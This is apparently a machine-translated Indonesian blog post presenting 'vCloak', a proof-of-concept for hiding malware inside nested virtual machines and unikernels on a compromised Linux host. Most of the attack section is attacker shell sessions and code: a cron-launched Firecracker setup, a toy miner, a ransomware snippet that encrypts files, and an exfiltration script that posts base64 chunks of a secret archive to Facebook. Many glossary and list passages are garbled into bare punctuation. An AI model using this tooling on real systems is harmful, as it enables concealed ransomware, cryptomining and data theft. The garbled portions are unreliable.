Virtualisasi adalah pedang bermata dua Kemenangan
perkembangan cloud dalam beberapa tahun terakhir dapat dikaitkan dengan peningkatan bertahap dari banyak teknologi sekaligus, yang terkait dengan perangkat keras dan perangkat lunak. Tapi mungkin teknologi yang paling terkenal adalah di mana kedua area ini bertemu: kita berbicara tentang virtualisasi. Secara sederhana, virtualisasi adalah tindakan mengabstraksi komponen perangkat keras (mis., Prosesor, memori, drive disk, dll.) Dan merepresentasikannya dalam lapisan perangkat lunak yang lebih dinamis daripada perangkat keras dan berskala lebih baik. Karakteristik utama dari virtualisasi ini cocok untuk pembuatan layanan online sesuai permintaan yang dipesan lebih dahulu, andal, sangat tersedia - sekarang disebut cloud.
Namun, ada sisi gelap dari teknologi hebat yang digerakkan oleh paradigma ini. Ada vendor cloud yang telah mendapatkan keuntungan selama bertahun-tahun dari abstraksi yang disediakan virtualisasi dan digunakan untuk melindungi Anda, dan ada juga penyerang yang segera menyadari bagaimana virtualisasi dapat berbalik melawan Anda. Dalam beberapa tahun terakhir, beberapa ancaman telah diamati - beberapa di antaranya hanya dipikirkan secara konseptual, yang lain sudah ditemukan dalam praktik - digunakan dalam intrusi untuk menutupi aktivitas berbahaya. Ini adalah "virtualisasi yang merusak" atau, sebagaimana kami menyebutnya, "kamuflase virtual".
Dalam posting ini, kita akan menjelajahi siapa yang mungkin menjadi mangsa taktik ini, memberikan gambaran umum penelitian yang bertujuan untuk memahami segmen ancaman ini, dengan mempertimbangkan teknik virtualisasi terbaru, dengan memeriksa secara rinci "vCloak" (kamuflase virtual) untuk Linux . Ini adalah proyek PoC yang dipasarkan sebagai "bukti kelayakan". Kami akan membuat malware berlapis-lapis yang disamarkan yang tersembunyi dan minimalis, tetapi tetap memiliki portabilitas, ketekunan, dan keandalan yang dapat dicapai dengan virtualisasi. Kami ingin menghilangkan mitos seputar vektor serangan baru ini dan membantu Anda lebih memahami bagaimana vektor serangan baru ini bekerja, dan menjelaskan bagaimana penyerang dapat menggunakan virtualisasi sebagai senjata. Luangkan waktu untuk menyelesaikan membaca:Sebagai bonus, kami juga akan membahas beberapa cara untuk mengurangi bahaya dari serangan ini.
Seperti disebutkan di atas, virtualisasi adalah tindakan abstraksi dari perangkat keras. Tetapi untuk lebih memahami materi dalam posting ini, Anda perlu mempelajari topik tersebut lebih dalam. Jadi, mari kita maju cepat ke saat dimulainya era virtualisasi. Ide virtualisasi perangkat keras bukanlah hal baru; Akarnya dapat ditelusuri kembali ke tahun 1960-an, ketika IBM melakukan banyak upaya ke dalam konsep baru yang disebut berbagi waktu (Gambar 2). Dalam bentuk yang paling sederhana, konsep tersebut bermuara pada ini: pengguna dapat berbagi prosesor melalui ultra- peralihan konteks cepat. Ada kemungkinan untuk sampai pada ide ini, dengan memperhatikan bahwa setiap pengguna memiliki waktu untuk mengkonsumsi hanya sebagian kecil dari potensi keseluruhan komputer. Mengingat,bahwa pada masa itu sebuah komputer menempati seluruh ruangan dan menghabiskan biaya sekitar $ 20 juta (disesuaikan dengan inflasi), tampaknya disarankan untuk menggunakannya secara maksimal. Virtualisasi modern didasarkan pada prinsip yang sama - berbagi sumber daya mesin, tetapi mempertahankan pemisahan logis.
Ara. 1: Dasbor IBM 7094, tempat konsep berbagi waktu pertama kali diterapkan ( Gambar milik pengguna Wikipedia ArnoldReinhold , dilisensikan di bawah Creative Commons BY-SA 3.0 )
Bagaimana virtualisasi modern dimulai
Artikel « Persyaratan Formal untuk Arsitektur Generasi Ketiga yang dapat divirtualisasikan « («Persyaratan formal untuk arsitektur generasi ketiga yang dapat divirtualisasikan ") Gerald Popek dan Robert Goldberg memperkenalkan model virtualisasi pertama yang terdefinisi dengan baik, meletakkan dasar-dasar konsep yang digunakan hingga hari ini (Gambar 3 ). Artikel ini telah memperkenalkan beberapa persyaratan dasar untuk virtualisasi dan telah mengklasifikasikan dan menganalisis berbagai instruksi mesin. Di bawah ini, dalam format lembar contekan, gambaran umum dari konsep-konsep tersebut di atas diberikan.
1971 Representasi // Bagaimana Virtualisasi Apakah Terlihat pada tahun 1971
modern Representasi // modern
VMM Perwakilan // Virtual Machine
Hardware monitor //
VM Hardware // Virtual Machine
Aplikasi //
Sistem Operasi Aplikasi //
Virtual Machine Sistem Operasi //
Virtual Machine Monitor / / Virtual Machine Monitor
Physical Machine / Hardware // Physical Machine / Hardware
Gambar 2: Perbandingan: Tampilan Popeck vs. Goldberg vs tampilan umum modern (diambil dari usenix )
Daftar Istilah Virtualisasi
- /VMM ( ) – «», : , .
- - – ( ), VMM
- /VM/ – , , machine VMM
- :
- ( 0 – 3) ,
- ( 0) ( 3) VM VM/VMM
- (CPL), CS ( ) , DPL ( ),
- :
- , 0
- (HLT, LIDT)
- (INVLPG)
- / (RDMSR, WRMSR, MOV CRx)
- OS
- — MMIO (- ) / (IN/OUT, MOV <MEMORY_MAPPED_REGISTER>)
- , (POPF)
VM
- –
- – , «»
- :
- , ,
- - ,
- :
- , API-
- , ,
- –
- , (., x86 vs AMD)
Gambar 3: Jenis Virtualisasi
Virtualisasi // Hypervisors
logam telanjang //
Hypervisors logam telanjang // Hypervisors yang di-host //
Emulator hypervisor host // Emulator
virtualisasi perangkat keras // Virtualisasi perangkat keras
Pemahaman intuitif tentang virtualisasi
Glosarium di atas, seperti lembar contekan lainnya, tidak memiliki konteks untuk kelengkapan persepsi, tetapi ada banyak kata kunci (lihat Gambar 4). Kami akan mencoba meringkas yang paling penting dari elemen-elemen ini, mengorbankan beberapa detail untuk kejelasan. Seperti yang Anda lihat dari glosarium, salah satu bagian tersulit dari pekerjaan virtualisasi adalah menangani instruksi yang memiliki hak istimewa / sensitif.
Instruksi yang diistimewakan adalah instruksi yang memungkinkan pemanggil untuk mengontrol sumber daya penting. Mereka penting untuk melindungi sistem dari aktivitas jahat dan program yang tidak terkontrol dari ruang pengguna. Ini adalah, misalnya, instruksi HLT (kontrol aliran eksekusi di CPU dengan kemungkinan penangguhan), efek pada pemetaan memori dengan membatalkan catatan halaman dalam buffer asosiasi terjemahan (INVLPG), atau akses ke register khusus (RDMSR). , WRMSR, MOV CR). Instruksi yang memiliki hak istimewa dapat memberikan akses tidak terbatas ke mesin host (misalnya, kontrol atas semua penangan interupsi ).
Instruksi sensitif dapat diartikan sebagai instruksi yang diistimewakan "dari sudut pandang" tamu. Ini termasuk operasi seperti berinteraksi dengan perangkat input / output (IN / OUT), menulis ke register yang dipetakan memori (MOV), atau instruksi yang beroperasi secara berbeda tergantung pada cincin perlindungan mana yang dijalankan; seperti, misalnya, menulis ke register EFLAGS (POPF). Instruksi sensitif dapat memberikan akses tidak terbatas ke mesin tamu (misalnya, menulis langsung ke perangkat I / O dan mendapatkan hak istimewa host).
Cincin perlindungan digunakan untuk mencegat instruksi yang memiliki hak istimewa dan mengaktifkan kernel untuk memproses eksekusinya. Namun, belum lama ini tidak ada dukungan perangkat keras untuk mengambil instruksi sensitif semacam ini, yang tidak selalu berbahaya bagi tuan rumah, tetapi bagi tamu itu masih merupakan titik kegagalan. Teknik berbasis perangkat lunak seperti emulasi menggunakan terjemahan biner statis atau dinamis atau paravirtualisasi melalui modifikasi tamu digunakan, tetapi dengan biaya penurunan kinerja / fleksibilitas yang parah.
Sebagai solusinya, dukungan perangkat keras untuk instruksi sensitif diperkenalkan dengan menambahkan cincin keamanan lain (juga disebut "dering 1" atau "mode admin"). Praktik ini meluas pada tahun 2005 dan 2006, ketika Intel dan AMD masing-masing memperkenalkan VT-x dan AMD-V . Pengoptimalan awalnya sangat mudah dan beberapa operasi virtualisasi dibantu perangkat keras. Namun segera, dukungan ini meluas ke banyak operasi lain, khususnya, virtualisasi unit manajemen memori (MMU).... Virtualisasi yang dibantu perangkat keras sekarang menjadi solusi yang disukai karena manfaat operasionalnya dan peningkatan keamanan, sekaligus menjaga biaya kinerja seminimal mungkin - tak ternilai di cloud.
Virtualisasikan dan lindungi
Gambar 4: Tumpukan KVM-QEMU dan Aliran yang Sesuai (Gambar milik Wikipedia pengguna V4711 , berlisensi di bawah Creative Commons BY-SA 4.0 )
Alasan terpenting untuk virtualisasi adalah memanfaatkan sumber daya Anda sebaik mungkin, sementara pada saat yang sama menjaga sumber daya Anda tetap aman dan terisolasi satu sama lain. Hypervisor modern, dilengkapi dengan kemampuan perangkat lunak dan perangkat keras terbaru, memungkinkan Anda membuat berbagai mesin virtual yang terisolasi; dari sistem operasi berfitur lengkap klasik (katakanlah Ubuntu) hingga MicroVM minimal modern yang menjalankan kernel ringan (mis. Firecracker + OSv). Isolasi sumber daya seperti memori, perangkat sistem file, dan kernel melindungi VM host dan VM tamu lainnya dari intrusi dari VM tamu yang disusupi.
Misalnya, jika eksploitasi kernel berhasil dieksekusi pada VM tamu, dan penyerang mendapatkan hak administrator atasnya, dia tetap tidak akan menerobos isolasi. Jika tidak memiliki kerentanan hypervisor, VM host dan VM tamu lainnya tidak akan terpengaruh oleh intrusi tersebut, karena mereka dan mesin yang disusupi memiliki kernel yang berbeda. Seperti strategi keamanan lainnya, virtualisasi tidak menyelesaikan semua masalah; virtualisasi dikaitkan dengan vektor serangan unik yang hanya melekat padanya. Berikut beberapa contoh serangan khusus yang ditujukan khusus untuk kerentanan virtualisasi:
- Driver dan Berbagi (Gambar 5, Lingkaran # 1):
- Jepretan (Gambar 5, Lingkaran # 2):
- Sandbox Escape (Gambar 5, Lingkaran # 3):
- Jenis kerentanan:
Virtualisasi dan serang
Banyak prinsip dasar yang membuat virtualisasi menjadi pendekatan pertahanan yang efektif dan serbaguna dapat diubah menjadi senjata. Idenya sendiri bukanlah hal baru, studi tentang ancaman semacam itu telah dilakukan. Bashware dapat disebutkan , yang menunjukkan bagaimana WSL (solusi virtual untuk menjalankan subsistem Linux di bawah Windows) dapat diadopsi untuk menyembunyikan malware dari semua mekanisme pertahanan modern.
Pada 14 Mei 2020, teori ini dikonfirmasi dengan baik dalam praktiknya, ketika berita dibanjiri laporan tentang jenis ransomware baru yang disebut " RagnarLocker. " Korbannya adalah perusahaan besar yang bergerak di bidang permainan, energi dan alkohol. VirtualBox kecil, tepercaya dan ditandatangani secara digital, menjalankan mesin virtual Windows XP kecil (kurang dari 500 MB), yang memungkinkannya secara diam-diam mengenkripsi dan mengambil data dari mesin korban. Belakangan tahun itu, strategi yang hampir sama diikuti oleh kartel Maze .
Semua serangan yang dibahas di atas menggunakan VirtualBox dan cukup berat sebagai wadah untuk malware. Selain itu, ini tidak bergantung pada manfaat virtualisasi yang dibantu perangkat keras . Sebelum membahas topik ini, mari kita lihat lebih dekat aspek kualitatif virtualisasi apa yang dapat dimanfaatkan oleh penyerang:
- – ,
- – , , , ,
- — VM
- « SSL-» – MicroVM , ( SSL MITM)
- – , , ,
- — ,
- – ,
- – , (»ShadowBunny«)
- – ,
Dengan invasi besar, virtualisasi memiliki satu keuntungan. Saran dapat diringkas sebagai unit eksekusi tepercaya dan digunakan untuk melakukan operasi yang akan menimbulkan kecurigaan dalam konteks yang berbeda, misalnya, secara diam-diam mengeksekusi kode berbahaya dan mencuri data. Manfaat ini tetap ada karena teknologi virtualisasi masih terbilang baru, dan aspek gelap dari virtualisasi ini belum mendapatkan perhatian yang semestinya. Seperti yang disebutkan dalam pengantar posting ini, di sini kami akan mencoba memberi Anda informasi dan alat untuk membantu Anda bertahan dari ancaman semacam itu. Untuk melakukan ini, pertimbangkan masalah dari sudut pandang penyerang dan kembangkan bukti kelayakan intrusi semacam itu melalui virtualisasi langkah demi langkah.
Virtualisasi dengan bantuan perangkat keras dan KVM
Fungsionalitas sabotase dalam proyek pelatihan kami sebagian besar diimplementasikan menggunakan hypervisor yang terletak di ruang kernel dan di ruang pengguna. Dalam penelitian ini, kami bereksperimen dengan beberapa implementasi gratis; analisis rinci tentang struktur internal mereka berada di luar cakupan posting ini.
Sederhananya, virtualisasi yang dibantu perangkat keras dimungkinkan berkat dua mode prosesor tambahan (hak istimewa administrator untuk VMM dan ketidakhadiran mereka untuk tamu), serta instruksi Intel khusus yang ditulis dalam assembler (untuk intersepsi yang efisien), yang sebagian besar dijalankan oleh kernel . Berikut beberapa contohnya:
Mode Administrator
- VMXOFF, VMXON
- VMWRITE dan VMREAD
Mode non-hak istimewa (tamu)
- VMLUANCH dan VMRESUME
VMLUANCH diatur sedikit berbeda, karena dapat dijalankan dari VM tamu untuk menghasilkan kontrol ke kernel, atau dengan beralih ke kernel menggunakan interupsi (yang telah kita bicarakan di bagian pendahuluan) atau VMEXIT. Tugas mitra ruang penggunanya adalah mengalokasikan semua struktur memori, menentukan penangan VMEXIT sesuai dengan berbagai kebutuhan VMEXIT, dan melampirkan sumber daya teremulasi / tervirtualisasi lainnya.
Untungnya, bagi mereka yang tidak ingin membangun semuanya dari awal, kernel Linux modern mendukung KVM (kvm.ko); modul kernel ini sebenarnya mengubah kernel Linux menjadi hypervisor. KVM menyediakan kemampuan Intel VT-x melalui antarmuka ioctl (2). KVM juga secara aktif menggunakan kapabilitas bawaan dari kernel Linux untuk mengelola kotak pasir, yang (dalam versi yang diperkeras) lebih dikenal sebagai mesin virtual.
Sejarah serangan
Serangan semacam itu melibatkan penggunaan hak istimewa dari mesin host Ubuntu yang dikompromikan dengan VT-x diaktifkan. Serangan tersebut menggunakan muatan informasi berbahaya (penambang dan ransomware), secara tidak terlihat mengeksekusi pada host yang dikompromikan, tersembunyi di balik penyamaran virtual buatan sendiri (Gambar 6)
- Proses dengan hak istimewa membagi dan membongkar "vCloak1" ke dalam proses anak (diasumsikan)
- “VCloak1” mengkonfigurasi dan menjalankan level L1 dari kamuflase kami, mesin virtual Ubuntu Minimal di QEMU.
- Dari Ubuntu "vCloak2" mengkonfigurasi dan menjalankan Layer 2 (L2) dari kamuflase kami, ini adalah tiga aplikasi OSv (dijelaskan di bawah ...):
Saatnya menyingsingkan lengan baju Anda! Untuk keterbacaan yang lebih baik, kami akan melewatkan beberapa cuplikan kode dan menguraikan yang lain secara mendetail. Kami mengundang Anda untuk menjelajahi kode sepenuhnya untuk penerapan ini, serta alat dan informasi terkait; semua ini terletak di repositori, tautan yang diberikan di bawah ini.
Gambar 5: Kemajuan serangan
Mempersiapkan kamuflase untuk level 1
Mari buat vCloak1, yang akan memungkinkan kita melakukan level pertama penyelubungan kita. Mari kita gunakan mesin virtual minimal untuk Ubuntu (kita juga bisa mengkompilasi Ubuntu untuk petasan ) dengan QEMU. Langkah ini diimplementasikan menggunakan vcloak1.sh, yang secara otomatis dijalankan oleh titik masuk yang seharusnya memiliki hak istimewa:
attacker@host:~$ git clone https://github.com/ch-mk/vCloak.git
attacker@host:~$ cd PoC
attacker@host:~/PoC$ cat vcloak1.sh
# virtio,
virtiofsd --socket-path=/var/run/vm001-vhost-fs.sock -o source=/root/supersecret \ # Ubuntu
qemu-system-x86_64 \
-chardev socket,id=char0,path=/var/run/vm001-vhost-fs.sock \
-device vhost-user-fs-pci,chardev=char0,tag=myfs \
-object memory-backend-memfd,id=mem,size=4G,share=on \
-numa node,memdev=mem \
attacker@host:~/PoC$ ./vcloak1.sh # ,
Kode 1: Membangun kamuflase virtual level 1, minimal Ubuntu di QEMU dengan virtiofs
Pada titik ini kami telah mencapai batas virtualisasi pertama. Setelah vCloak1 dimuat, vCloak2 akan dijalankan, konfigurasi dan eksekusi tingkat kedua dari kamuflase kami akan dijalankan.
Mempersiapkan kamuflase untuk level 2
vCloak2 menjalankan kernel VT-x dengan kabel sistem minimal (Unikernel) dari dalam mesin virtual. Jadi, VM tamu Tingkat 1 kami juga harus mendukung KVM dan VT-x (ini mudah untuk diuji; lihat Daftar 2), sehingga dapat berfungsi sebagai mesin host yang berdiri sendiri. Fitur rekursif ini dikenal sebagai Virtualisasi Bersarang.
attacker@vcloak1:~/PoC$ lsmod | grep kvm # KVM
kvm_intel 282624 0
kvm 663552 1 kvm_intel
Kode 2: Memeriksa KVM dan membangun tingkat 2 kamuflase kami Tingkat
kedua dari kamuflase kami diimplementasikan sebagai skrip vcloak2.py, yang secara otomatis dijalankan oleh tugas crontab. Ini menjalankan tiga mesin virtual petasan berbeda yang dapat berkomunikasi melalui soket bersama. Setiap VM menjalankan kernel Unikernel, diteruskan sebagai "kernel.elf," dengan satu proses yang berjalan dari direktori root ("/") dari sistem file, diteruskan sebagai "fs.img." Di bawah ini kami akan menjelaskan sifat dari proses ini, tetapi untuk saat ini kami hanya akan menjelaskan konfigurasi awal dan eksekusi mesin virtual tipikal dengan teknologi petasan.
attacker@vcloak1:~$ cat vcloak2.py # crontab
def main(options):
# , firecracker is installed
dirname = os.path.dirname(os.path.abspath(__file__))
firecracker_path = find_firecracker(dirname, options.arch)
# Firecracker ,
print_time(«Start»)
socket_path = '/tmp/firecracker.socket'
if options.api:
firecracker = start_firecracker(firecracker_path, socket_path)
# ,
kernel_path = options.kernel
if not kernel_path:
kernel_path = os.path.join(dirname, '../build/release/kernel.elf')
qemu_disk_path = options.image
if not qemu_disk_path:
qemu_disk_path = os.path.join(dirname, '../build/release/fs.img')
raw_disk_path = disk_path(qemu_disk_path)
cmdline = options.execute
if not cmdline:
with open(os.path.join(dirname, '../build/release/cmdline'), 'r') as f:
cmdline = f.read()
if options.arch == 'aarch64':
cmdline = «console=tty --disable_rofs_cache %s» % cmdline
else:
cmdline = «--nopci %s» % cmdline
client.configure_machine(options.vcpus, memory_in_mb)
print_time(«Configured VM»)
client.add_disk(raw_disk_path)
print_time(«Added disk»)
if options.networking:
client.add_network_interface('eth0', 'fc_tap0')
client.create_instance(kernel_path, cmdline)
print_time(«Created OSv VM with cmdline: %s» % cmdline)
if not options.api:
if options.verbose:
print(client.firecracker_config_json())
firecracker, config_file_path = start_firecracker_with_no_api(firecracker_path, client.firecracker_config_json())
else:
client.start_instance()
print_time(«Booted OSv VM»)
attacker@vcloak1:~$ python vcloak2.py # actual execution is automatic by crontab
attacker@vcloak1:~$ sudo apt update
Kode 3: vcloak2.py menjalankan tiga wadah VT-x
Sejauh ini, oke, tapi apa contoh petasan ini yang berjalan? Untuk menyemai kisah serangan itu, telah disebutkan bahwa mereka menjalankan aplikasi OSv . OSv adalah kernel unikernel modular gratis, bertujuan umum, dan modular yang dirancang untuk secara aman mendukung satu aplikasi Linux yang tidak dimodifikasi sebagai microVM di atas hypervisor, menghasilkan kernel minimal yang kompatibel dengan biner dengan Linux. Solusi seperti OSv, dibandingkan dengan MicroVM, merupakan langkah selanjutnya menuju minimalis; ketika kernel unikernel dibuat untuk setiap aplikasi, aplikasi OSv diperoleh dengan kernel yang dikompresi hingga kering.
Mari kita lihat betapa mudahnya membangun aplikasi OSv dari kode C ++ asli:
attacker@vcloak1:~$ sudo apt update
attacker@vcloak1:~$ sudo apt install git make build-essential libboost-system-dev qemu-system-x86 qemu-utils openjdk-8-jdk maven pax-utils python python-dev
attacker@vcloak1:~$ git clone https://github.com/cloudius-systems/osv.git #clone git repository
attacker@vcloak1:~$ cd osv
attacker@vcloak1:~/osv$ git submodule update --init –recursive # install # install examples and other dependencies
attacker@vcloak1:~/osv$ ls -l apps/native-example/ #checkout hello world app
total 40
-rwxrwxr-x 1 mc mc 16696 Dec 30 09:29 hello
-rw-rw-r-- 1 mc mc 77 Dec 30 09:20 hello.c
-rw-rw-r-- 1 mc mc 150 Dec 30 09:20 Makefile
-rw-rw-r-- 1 mc mc 57 Dec 31 00:09 module.py
-rw-rw-r-- 1 mc mc 49 Dec 30 09:20 README
-rw-rw-r-- 1 mc mc 28 Dec 30 09:20 usr.manifest
attacker@vcloak1:~/osv$ cat apps/native-example/hello.c #checkout actual c code
#include
int main(){
printf(«Hello from C code\n»);
return 0;
}
attacker@vcloak1:~/osv$ ./scripts/build image=native-example #let’s wrap out app with OSv unikernel
attacker@vcloak1:~/osv$ ./scripts/run.py #execute latest OSv build
OSv v0.55.0-157-g0cf6acc7
eth0: 192.168.122.15
Booted up in 0.00 ms
Cmdline: /hello
Hello from C code
Kode 4: Membangun dan menjalankan program C sederhana dengan OSv sebagai pembungkus
Demikian pula, Anda dapat membangun aplikasi OSv dengan Python:
In a very similar way we can build an OSv app with python:
attacker@vcloak1:~/osv$ ./scripts/build image=python2x
attacker@vcloak1:~/osv$ ./scripts/run.py
OSv v0.55.0-157-g0cf6acc7
eth0: 192.168.122.15
Booted up in 0.00 ms
Cmdline: /python
Python 2.7.18 (default, Aug 4 2020, 11:16:42)
[GCC 9.3.0] on linux2
Type «help», «copyright», «credits» or «license» for more information.
>>>
Kode 5: Membangun dan menjalankan program python sederhana dengan OSv sebagai pembungkus
Seperti yang ditunjukkan secara singkat di atas, OSv adalah cara yang ampuh dan mudah untuk mengubah aplikasi umum menjadi aplikasi Unikernel. Dikombinasikan dengan mesin mikro-virtual seperti Firecracker (atau bahkan opsi virtualisasi perangkat keras yang lebih kecil) menciptakan muatan virtual yang minimal namun berkinerja tinggi. Pelajari lebih lanjut tentang produk hebat ini di halaman OSv GitHub . Pada tahap ini, yang tersisa untuk kami selesaikan adalah menulis kode python yang diperlukan untuk masing-masing dari tiga aplikasi OSv, seperti yang kami janjikan.
Gambar 6: Virtualisasi bersarang terkadang bisa sedikit membingungkan
Virtualisasi bersarang
Kami melihat bagaimana kamuflase kami dibuat lapis demi lapis, dan menelusuri penyebaran malware dari eksekusi istimewa pertama hingga pembuatan banyak kernel Unikernel minimal yang membentuk lapisan kedua kamuflase kami. Kernel Unikernel ini (level 2) divirtualisasi menggunakan VT-x, KVM dan petasan di atas mesin virtual lain yang menjalankan Ubuntu (level 1), meskipun petasan juga dapat digunakan pada level ini.
Status "dasar" ini dapat dicapai berkat virtualisasi bersarang, fitur yang didukung oleh KVM. Virtualisasi ini memungkinkan mesin tamu bertindak sebagai mesin host. Dalam artikel ini, saya telah menggunakan istilah "tingkat kamuflase" dengan agak longgar, jadi arti istilah ini mungkin lebih jelas jika kita membandingkannya dengan istilah KVM untuk mendeskripsikan virtualisasi bersarang (misalnya, L1 adalah mesin virtual yang dijalankan dari host fisik; L2 adalah mesin virtual yang dijalankan dari mesin tamu L1).
Penciptaan penambang
Dalam studi yang dijelaskan, banyak upaya telah dilakukan untuk menyamarkan, baik penambang open source diciptakan, cocok untuk penggunaan nyata, dan alat minimalis semacam ini, yang hanya dapat berfungsi sebagai bukti kelayakan. Untuk kesederhanaan, kami akan segera menghadirkan penambang open source yang dikembangkan oleh subhan-nadeem :
attacker@vcloak1:~/osv$ cat apps/python-miner/miner.py #
import hashlib
def get_sha_256_hash(input_value):
return hashlib.sha256(input_value).hexdigest()
def block_hash_less_than_target(block_hash, given_target):
return int(block_hash, 16) < int(given_target, 16)
# ( , , , , )
blockData = \
'01000000000000000000000000000000000000000000000000000000000000000000000' \
'03ba3edfd7a7b12b27ac72c3e67768f617fc81bc3888a51323a9fb8aa4b1e5e4a29ab5f' \
'49ffff001d1dac2b7c01010000000100000000000000000000000000000000000000000' \
'00000000000000000000000ffffffff4d04ffff001d0104455468652054696d65732030' \
'332f4a616e2f32303039204368616e63656c6c6f72206f6e20627266e6b206f66207365' \
'636f6e64206261696c6f757420666f722062616e6b73ffffffff0100f2052a010000004' \
'34104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649' \
'f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000' \
.encode()
# – , -
target = '0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'
solution_found = False
block_data_hexadecimal_value = int(blockData, 16)
nonce = 0
while not solution_found:
block_data_with_nonce = block_data_hexadecimal_value + nonce
#
first_hash = get_sha_256_hash(hex(block_data_with_nonce).encode())
second_hash = get_sha_256_hash(first_hash.encode())
print('Nonce: ' + str(nonce))
print('Block hash:')
print(second_hash)
print('Is the block hash less than the target?')
solution_found = block_hash_less_than_target(second_hash, target)
print(solution_found)
if not solution_found:
nonce += 1
Kode 6: Potongan kode dari penambang
Menghasilkan kode ransomware
Sama seperti kasus penambang, banyak solusi telah diuji untuk peran ransomware. Tetapi demi kejelasan, kita akan melihat
versi PoC dari ransomware oleh guihermej :
attacker@vcloak1:~/osv$ cat apps/python-ransom/ransom.py #
#
file_name = «foto.jpg»
file = open(file_name, «rb»)
file_data = file.read()
file.close()
#
#os.remove(file_name)
# ( AES)
key = «0123456789abcdef» # 16- –
aes = pyaes.AESModeOfOperationCTR(key)
crypto_data = aes.encrypt(file_data)
#
new_file_name = file_name + «.pyransom» # ,
new_file = open(new_file_name, 'wb')
new_file.write(crypto_data)
new_file.close()
Kode 7: Potongan kode dari ransomware
Membuat ekstraktor
Tugas komponen ini sederhana. Itu mendengarkan masukan dari penambang atau ransomware, dan kemudian dengan aman mengirimkannya ke API tepercaya (misalnya Facebook). Di bagian ini, kita mendapatkan apa yang disebut "penyematan sertifikat SSL gratis". Sekali lagi, kami akan menyelesaikan tugas sebelum kami menggunakan kekuatan open source. Kali ini kami mendasarkan kode kami pada proyek GitHub dari zone13 .
attacker@vcloak1:~$ cat apps/python-ransom/ransom.py #
import facebook, time, base64, textwrap
def main():
cfg = {
# ,
«page_id» : «»,
«access_token» : «»
}
api = get_api(cfg)
# zip- base-64
msg = file_read_into_array()
# ,
chunks = (len(msg) / float(50000))
if isinstance(chunks, float) or (a == 0):
chunks = int(chunks) + 1
# base-64 50 000
file_array = textwrap.wrap(msg, 50000)
# Facebook
for i in range(chunks):
status = api.put_wall_post(«Part####» + str(i) + « « + file_array[i])
time.sleep(0.5)
# zip- base-64
def file_read_into_array():
with open(«secret.zip», «rb») as f:
a = f.read()
encoded_data = base64.encodestring(a)
return encoded_data
# Facebook
def get_api(cfg):
graph = facebook.GraphAPI(cfg['access_token'])
resp = graph.get_object('me/accounts')
page_access_token = None
for page in resp['data']:
if page['id'] == cfg['page_id']:
page_access_token = page['access_token']
graph = facebook.GraphAPI(page_access_token)
return graph
if __name__ == «__main__»:
main()
Kode 8: Cuplikan Kode Ekstraktor
Pengulangan dan analisis
Mari ulangi apa yang kita lakukan. Sebagai bukti kelayakan, kami menulis kode berbahaya yang menambang, mengenkripsi, dan mengambil data dari inang yang terpengaruh. Muatan utama membentuk lapisan pertama kamuflase (atau virtualisasi) dengan mesin virtual mikro berbasis Ubuntu yang dipercaya oleh host.
Selanjutnya, memori dari semua proses yang berbeda akan direpresentasikan sebagai satu gumpalan biner pipih. Semua panggilan API dan ekosistem OS yang disertakan dalam MicroVM tidak terlihat dari luar. Sertifikat MicroVM tidak mencerminkan konfigurasi host, sertifikat ini disembunyikan dari host (khususnya, ini memungkinkan Anda untuk bersembunyi dari alat analisis lalu lintas menggunakan perlindungan SSL MITM).
Gambar 7: Tumpukan perangkat lunak vCloak; garis berwarna menunjukkan batas area virtualisasi individu.
Setelah MicroVM menyelesaikan proses boot, ini akan memuat tiga kernel Unikernel yang berbeda berdasarkan VT-x dan Firecracker, dan kernel ini akan berisi logika berbahaya. Dengan bantuan kernel Unikernel tersebut, tingkat kekacauan lainnya diperkenalkan ke dalam model memori, tidak hanya karena lapisan virtualisasi lain ditambahkan di sini, tetapi juga karena ruang pengguna dan ruang kernel tidak dipisahkan satu sama lain dalam kernel Unikernel. Semua distorsi ini sangat memperumit pekerjaan operator mesin host pertama, yang menemukan lapisan kamuflase pertama dan ingin membalik logikanya.
Malware berlapis-lapis yang dihasilkan yang menyamar tidak hanya lebih berbahaya dari sebelumnya, tetapi juga berukuran minimal dan karenanya sangat portabel. Karena mesin virtual menyediakan seluruh lingkungan, kemungkinan kegagalan lebih kecil karena masalah komputasi atau ketergantungan.
Penelitian dan pengoptimalan lebih lanjut
Gambar 8:
Tabel self-test Tabel di atas menunjukkan berbagai teknik (kolom dari Gambar 9), yang disusun berdasarkan aspek serangan dan kesesuaian vektor serangan tertentu (baris pertama dari Gambar 9). Teknik yang dibahas dalam artikel ini tercantum dalam sel hijau, dan sudut lain yang juga kami sentuh selama penelitian tercantum dalam sel darah putih. Sebelum kami mencoba memberikan beberapa saran dan menyimpulkan posting ini, mari kita lihat "memperkuat" malware kami menggunakan teknik yang disebutkan di kotak putih pada tabel di atas (Gambar 8).
- Ekstraktor memori bersama - Anda dapat mengkonfigurasi ekstraktor sehingga berbagi memori dengan malware dan dengan demikian tidak terlalu bersinar pada data bersama.
- – - , .
- – , , xmrig GonnaCry, .
- – vCloak1, vCloack2, VM, MicroVM, Unikernel ELF, . .
- – firecracker, , .
- – KVM, , alternative can be produced to reduce payload size and add cloaking abilities.
- – , , , MAP_EXCLUSIVE, SGX SVE\SME .
- Cakupan serangan yang diperluas pada host - kami tidak menggunakan peluang seperti itu, karena diskusi mereka berada di luar cakupan artikel ini. Benar, ada kerentanan yang diketahui yang akan membuat kamuflase menjadi lebih efektif.
Akhirnya, seseorang tidak bisa tidak menyebutkan: meskipun ini tidak berlaku untuk tujuan studi ini, ternyata lebih nyaman bekerja dengan hypervisor, karena program ini populer, mereka dikenal memiliki banyak kerentanan, dan frekuensi pembaruan hypervisor bervariasi. Kerentanan hypervisor dapat dimanfaatkan untuk meningkatkan kinerja kamuflase. Perlombaan antara penyerang dan penjaga jaringan tanpa kompromi dan tanpa henti. Kami berharap informasi yang diberikan dalam artikel ini akan sedikit membantu pembaca untuk masuk ke topik.
Instrumen
Saat meneliti virtualisasi, saya membuat beberapa alat yang membantu saya dalam penelitian ini:
- Implementasi percontohan ini
- Daftar tautan berguna
- Gudang: https://github.com/ch-mk/vCloak.git
Melenyapkan ancaman
Dunia mesin virtual dan sistem operasi berkembang pesat, dengan kemampuan perangkat lunak dan perangkat keras baru yang muncul pada saat yang bersamaan. Menyelidiki kemampuan baru ini dari perspektif penyebaran malware dapat membantu
